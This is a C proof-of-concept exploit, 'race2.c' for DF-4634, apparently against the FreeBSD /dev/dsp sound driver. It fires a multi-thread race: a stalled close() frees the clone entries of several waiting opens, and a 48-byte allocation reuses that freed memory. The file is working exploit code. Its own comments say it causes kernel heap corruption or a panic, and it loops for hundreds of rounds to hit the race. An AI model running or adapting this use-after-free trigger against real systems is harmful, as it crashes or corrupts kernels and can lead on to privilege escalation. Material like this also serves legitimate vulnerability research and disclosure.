DF-4634 / race2.c
/* * DF-4634 race PoC v2 - multi-victim amplification. * * K victims trapped per stall; staller's dsp_close gc() frees ALL their * entries at once; victims then wake one by one: victim #1's own * dsp_cdevinfo_alloc() (48 bytes -> same 64-byte M_DEVBUF bucket as * struct snd_clone_entry) recycles victim #2's freed entry; victim #2's * snd_clone_acquire()/snd_clone_ref() then read/write through the cdi: * ce->flags @48 (di == cd"ce"->parent = cdi->rdch -> ++(pcm_channel*)->field) * => kernel heap corruption / panic. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <sys/ioctl.h> #include <sys/soundcard.h> #include <sys/time.h> #define DEV "/dev/dsp0" #define KV 4 static long ms(struct timeval *a, struct timeval *b){ return (b->tv_sec-a->tv_sec)*1000+(b->tv_usec-a->tv_usec)/1000; } struct vinfo { pthread_t th; struct timeval t0, t1; int fd; int idx; }; static void *victim_fn(void *arg){ struct vinfo *v = arg; gettimeofday(&v->t0, NULL); v->fd = open(DEV, O_WRONLY); gettimeofday(&v->t1, NULL); if (v->fd >= 0) { char b[64]; memset(b, 0x80, sizeof b); write(v->fd, b, sizeof b); close(v->fd); /* will also run through freed entry if pruned */ v->fd = -1; } return NULL; } int main(int argc, char **argv){ int rounds = argc>1 ? atoi(argv[1]) : 400; srandom(getpid()); char buf[4096]; memset(buf, 0x80, sizeof buf); int trapped = 0; for (int r = 0; r < rounds; r++) { int fd = open(DEV, O_WRONLY); if (fd < 0) { perror("staller open"); return 1; } int fmt=AFMT_U8, speed=8000, ch=1, frag=0x0003000C; /* 3*4096=12KB=1.5s */ ioctl(fd, SNDCTL_DSP_SETFMT, &fmt); ioctl(fd, SNDCTL_DSP_CHANNELS, &ch); ioctl(fd, SNDCTL_DSP_SPEED, &speed); ioctl(fd, SNDCTL_DSP_SETFRAGMENT, &frag); long wr = 0; while (wr < 65536) { ssize_t n = write(fd, buf, sizeof buf); if (n <= 0) break; wr += n; } struct vinfo vs[KV]; for (int i = 0; i < KV; i++) { vs[i].idx = i; vs[i].fd = -2; pthread_create(&vs[i].th, NULL, victim_fn, &vs[i]); usleep(150 + random() % 250); } usleep(random() % 400); struct timeval tc0, tc1; gettimeofday(&tc0, NULL); close(fd); gettimeofday(&tc1, NULL); for (int i = 0; i < KV; i++) pthread_join(vs[i].th, NULL); long close_ms = ms(&tc0, &tc1); int tr = 0; for (int i = 0; i < KV; i++) if (ms(&vs[i].t0, &vs[i].t1) > 1000) tr++; if (close_ms > 1000) trapped += tr; if (r % 20 == 0 || tr == KV) fprintf(stderr, "round %4d close=%5ldms trapped=%d/%d\n", r, close_ms, tr, KV); fflush(stderr); } printf("done: %d rounds, victim-traps=%d\n", rounds, trapped); return 0; } |